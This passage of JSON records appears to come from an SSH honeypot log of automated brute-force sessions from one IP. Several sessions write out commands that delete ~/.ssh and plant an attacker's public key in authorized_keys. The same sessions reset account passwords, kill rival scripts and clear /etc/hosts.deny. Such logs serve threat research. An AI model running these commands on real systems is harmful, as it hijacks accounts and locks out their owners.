Model"},{"seq":30,"at":"2026-08-27T12:16:49.589234+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:16:49.883953+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:16:51.921491+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin123","password":"admin","method":"password","accepted":true,"tier":"other"}]} {"id":"39cfa34a-1021-4e25-82fa-282d65e15778","name":"smoky-obsidian-sandpiper","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":40224,"username":"admin123","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:16:36.444905+00:00","ended_at":"2026-08-27T12:16:37.590640+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin123","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b474bb0d-860a-4b11-8d4c-3302810b947f","name":"cobalt-nautical-lorikeet","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":40208,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:16:35.229277+00:00","ended_at":"2026-08-27T12:16:35.850410+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b0b0266a-9cb6-4fde-ae1d-7796c1b791bb","name":"western-early-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":58892,"username":"anu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:14:45.268099+00:00","ended_at":"2026-08-27T12:14:47.079215+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2240,"events":[{"seq":1,"at":"2026-08-27T12:14:27.196465+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:14:27.493377+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:14:30.939781+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:14:31.694178+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:14:31.992453+00:00","kind":"input","latency_ms":null,"data":"echo -e \"anu\\nkobVRffesbPY\\nkobVRffesbPY\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:14:32.296840+00:00","kind":"input","latency_ms":null,"data":"echo \"anu\\nkobVRffesbPY\\nkobVRffesbPY\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:14:32.607098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:14:33.057277+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:14:33.363838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:14:34.580517+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:14:34.879439+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:14:36.255151+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:14:36.552682+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:14:37.442159+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:14:37.738437+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:14:38.636327+00:00","kind":"output","latency_ms":null,"data":" 12:14:38 up 7 days, 9:04, 0 user, load average: 0.27, 0.2, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:14:38.933344+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:14:39.419156+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:14:39.716081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:14:40.462835+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:14:40.758208+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:14:41.139260+00:00","kind":"output","latency_ms":null,"data":"top - 12:14:41 up 7 days, 9:04, 0 user, load average: 0.27, 0.2, 0.3\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:14:41.444287+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:14:42.077013+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:14:42.375207+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:14:42.712176+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:14:43.009327+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:14:43.343360+00:00","kind":"output","latency_ms":null,"data":"anu"},{"seq":29,"at":"2026-08-27T12:14:43.653118+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:14:44.970636+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:14:45.269176+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:14:46.994176+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"anu","password":"anu","method":"password","accepted":true,"tier":"other"}]} {"id":"a41ca91b-4f90-430a-9ab3-b49e791077e7","name":"reedy-gleaming-turnstone","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58910,"username":"anu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:14:30.222168+00:00","ended_at":"2026-08-27T12:14:30.853385+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"anu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1ea0cdd7-eeb5-41ad-be52-b87fb7ec5f44","name":"scarlet-cobalt-peccary","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58904,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:14:28.154712+00:00","ended_at":"2026-08-27T12:14:29.635695+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"094e7a1a-94b8-4321-8b66-12b7e420acef","name":"wandering-jagged-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":46216,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:12:36.364067+00:00","ended_at":"2026-08-27T12:12:37.449473+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:12:19.459165+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:12:19.751118+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:12:22.481217+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:12:22.887511+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:12:23.180129+00:00","kind":"input","latency_ms":null,"data":"echo \"root:nQwAmT7487T1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:12:23.469463+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:12:23.760331+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:12:24.515164+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:12:24.806055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:12:25.998122+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:12:26.288873+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:12:27.324299+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:12:27.618242+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:12:28.012897+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:12:28.304965+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:12:29.104886+00:00","kind":"output","latency_ms":null,"data":" 12:12:29 up 7 days, 9:02, 0 user, load average: 0.34, 0.27, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:12:29.395432+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:12:30.045826+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:12:30.336127+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:12:31.053107+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:12:31.345212+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:12:31.871808+00:00","kind":"output","latency_ms":null,"data":"top - 12:12:31 up 7 days, 9:02, 0 user, load average: 0.34, 0.27, 0.27\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:12:32.160605+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:12:32.874529+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:12:33.165241+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:12:33.978922+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:12:34.281547+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:12:34.571367+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:12:34.861987+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:12:36.073498+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:12:36.365110+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:12:37.370802+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root2024@","method":"password","accepted":true,"tier":"other"}]} {"id":"8a794092-8f44-4700-b993-93994fedc00a","name":"vigilant-loyal-sloth","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":46226,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:12:21.769234+00:00","ended_at":"2026-08-27T12:12:22.396094+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"64842450-616a-4714-9f1e-c9df2e91faf2","name":"muted-nautical-pangolin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":46220,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:12:20.414823+00:00","ended_at":"2026-08-27T12:12:21.188998+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5cd78e11-7c61-462e-a56c-3c4ae0d6382f","name":"canny-grassy-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":51418,"username":"dan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:10:38.041176+00:00","ended_at":"2026-08-27T12:10:39.407092+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T12:10:20.516119+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:10:20.816543+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:10:25.073681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:10:25.613620+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:10:25.905841+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n0L30S90SDkia\\n0L30S90SDkia\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:10:26.203451+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n0L30S90SDkia\\n0L30S90SDkia\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:10:26.504771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:10:26.773409+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:10:27.078525+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:10:28.385181+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:10:28.677910+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:10:29.801302+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:10:30.102117+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:10:30.376464+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:10:30.675354+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:10:31.203435+00:00","kind":"output","latency_ms":null,"data":" 12:10:31 up 7 days, 9:00, 0 user, load average: 0.32, 0.27, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:10:31.501585+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:10:32.143868+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:10:32.443123+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:10:32.921958+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:10:33.221881+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:10:33.929015+00:00","kind":"output","latency_ms":null,"data":"top - 12:10:33 up 7 days, 9:00, 0 user, load average: 0.32, 0.27, 0.32\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:10:34.229209+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:10:34.959331+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:10:35.259163+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:10:35.567162+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:10:35.865513+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:10:36.435206+00:00","kind":"output","latency_ms":null,"data":"dan"},{"seq":29,"at":"2026-08-27T12:10:36.735062+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:10:37.740722+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:10:38.042644+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:10:39.319634+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dan","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"d2c45826-e87c-44f2-98c3-cf20b94f7a3d","name":"craggy-sunlit-thrush","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":51430,"username":"dan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:10:23.939006+00:00","ended_at":"2026-08-27T12:10:24.984147+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"dan","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"acb246c7-0d56-47e0-bfdf-da8b4bfe525d","name":"ginger-sincere-heron","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":51424,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:10:21.479732+00:00","ended_at":"2026-08-27T12:10:23.359522+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2c2b0671-77e7-42ae-a6b3-cd3dcc9ff267","name":"bold-hazy-seal","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":51040,"username":"james","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":296,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:08:37.742133+00:00","ended_at":"2026-08-27T12:08:38.736308+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T12:08:19.999502+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:08:20.295483+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:08:23.902553+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:08:24.661321+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:08:24.957095+00:00","kind":"input","latency_ms":null,"data":"echo -e \"james@123\\nR2WoMD45h9cu\\nR2WoMD45h9cu\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:08:25.251622+00:00","kind":"input","latency_ms":null,"data":"echo \"james@123\\nR2WoMD45h9cu\\nR2WoMD45h9cu\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:08:25.545929+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:08:26.111234+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:08:26.407018+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:08:27.644658+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:08:27.973873+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:08:28.935456+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:08:29.241735+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:08:29.774081+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:08:30.069531+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:08:30.742086+00:00","kind":"output","latency_ms":null,"data":" 12:08:30 up 7 days, 8:58, 0 user, load average: 0.16, 0.14, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU 